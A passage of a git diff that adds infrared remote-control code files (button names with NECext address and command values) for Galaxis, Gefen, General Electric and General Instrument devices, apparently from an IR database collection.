parsed +protocol: NECext +address: 0D 50 00 00 +command: 3F 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 45 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 4B 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 4E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 50 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 5C 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 61 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 70 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 78 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: 79 00 00 00 +# +name: UP_RIGHT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: C4 00 00 00 +# +name: LEFT_UP +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: C5 00 00 00 +# +name: DOWN_RIGHT +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: C6 00 00 00 +# +name: LEFT_DOWN +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: C7 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: CC 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 0D 50 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir new file mode 100644 index 000000000..ad67ea50f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1D 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir new file mode 100644 index 000000000..5287da7c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: txt_100 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: set_down +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: txt_Stop +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: txt_Question +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: txt_Clock +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: txt_T.P. +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: txt_Nor. +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: txt_Magnify +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: txt_Presets +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: txt_Mix +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: Stereo +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: P/C +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: Mon/TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: spk_off +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 +# +name: color_plus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: color_minus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: bright_plus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: bright_minus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: contrast_plus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: contrast_minus +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: TV/TLV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir new file mode 100644 index 000000000..e1843318e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir new file mode 100644 index 000000000..e8cf32554 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: PORT1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 40 00 00 00 +# +name: PORT1_TOGGLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 40 00 00 00 +# +name: PORT2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: PORT2_TOGGLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 47 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 49 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 72 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir new file mode 100644 index 000000000..3579c6b86 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: OUT1-IN1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 40 00 00 00 +# +name: SOURCE1_INPUT1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 40 00 00 00 +# +name: OUT1-IN2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: SOURCE1_INPUT2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: OUT1-IN3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: SOURCE1_INPUT3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: OUT1-IN4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: SOURCE1_INPUT4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: OUT2-IN1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: SOURCE2_INPUT1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: OUT2-IN2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: SOURCE2_INPUT2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: OUT2-IN3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 46 00 00 00 +# +name: SOURCE2_INPUT3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 46 00 00 00 +# +name: OUT2-IN4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 47 00 00 00 +# +name: SOURCE2_INPUT4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 47 00 00 00 +# +name: OUT3-IN1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 48 00 00 00 +# +name: SOURCE3_INPUT1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 48 00 00 00 +# +name: OUT3-IN2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 49 00 00 00 +# +name: SOURCE3_INPUT2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 49 00 00 00 +# +name: OUT3-IN3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 72 00 00 00 +# +name: SOURCE3_INPUT3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 72 00 00 00 +# +name: OUT3-IN4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 73 00 00 00 +# +name: SOURCE3_INPUT4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 73 00 00 00 +# +name: OUT4-IN1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 74 00 00 00 +# +name: SOURCE4_INPUT1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 74 00 00 00 +# +name: OUT4-IN2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 75 00 00 00 +# +name: SOURCE4_INPUT2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 75 00 00 00 +# +name: OUT4-IN3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 76 00 00 00 +# +name: SOURCE4_INPUT3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 76 00 00 00 +# +name: OUT4-IN4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 77 00 00 00 +# +name: SOURCE4_INPUT4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir new file mode 100644 index 000000000..9d37fa380 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: A +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 06 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 06 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 07 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 07 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: K +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0E 00 00 00 +# +name: O +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: Q +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: U +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: Y +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 20 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 20 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 21 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 21 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 23 00 00 00 +# +name: ^_(UP) +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 23 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 24 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 26 00 00 00 +# +name: <_(LEFT) +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 28 00 00 00 +# +name: >_(RIGHT) +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 28 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 29 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 29 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2B 00 00 00 +# +name: V_(DOWN) +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2B 00 00 00 +# +name: F4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir new file mode 100644 index 000000000..8bbc87417 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: DONE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: CURSOR_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: SKIP:30 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir new file mode 100644 index 000000000..a3c6c9842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANEL_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: CHANEL_DN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir new file mode 100644 index 000000000..b2dcd08d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: TRACKING- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0A 00 00 00 +# +name: TRACKING+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 27 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 46 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 47 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir new file mode 100644 index 000000000..73c44fac1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir new file mode 100644 index 000000000..31cd983b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 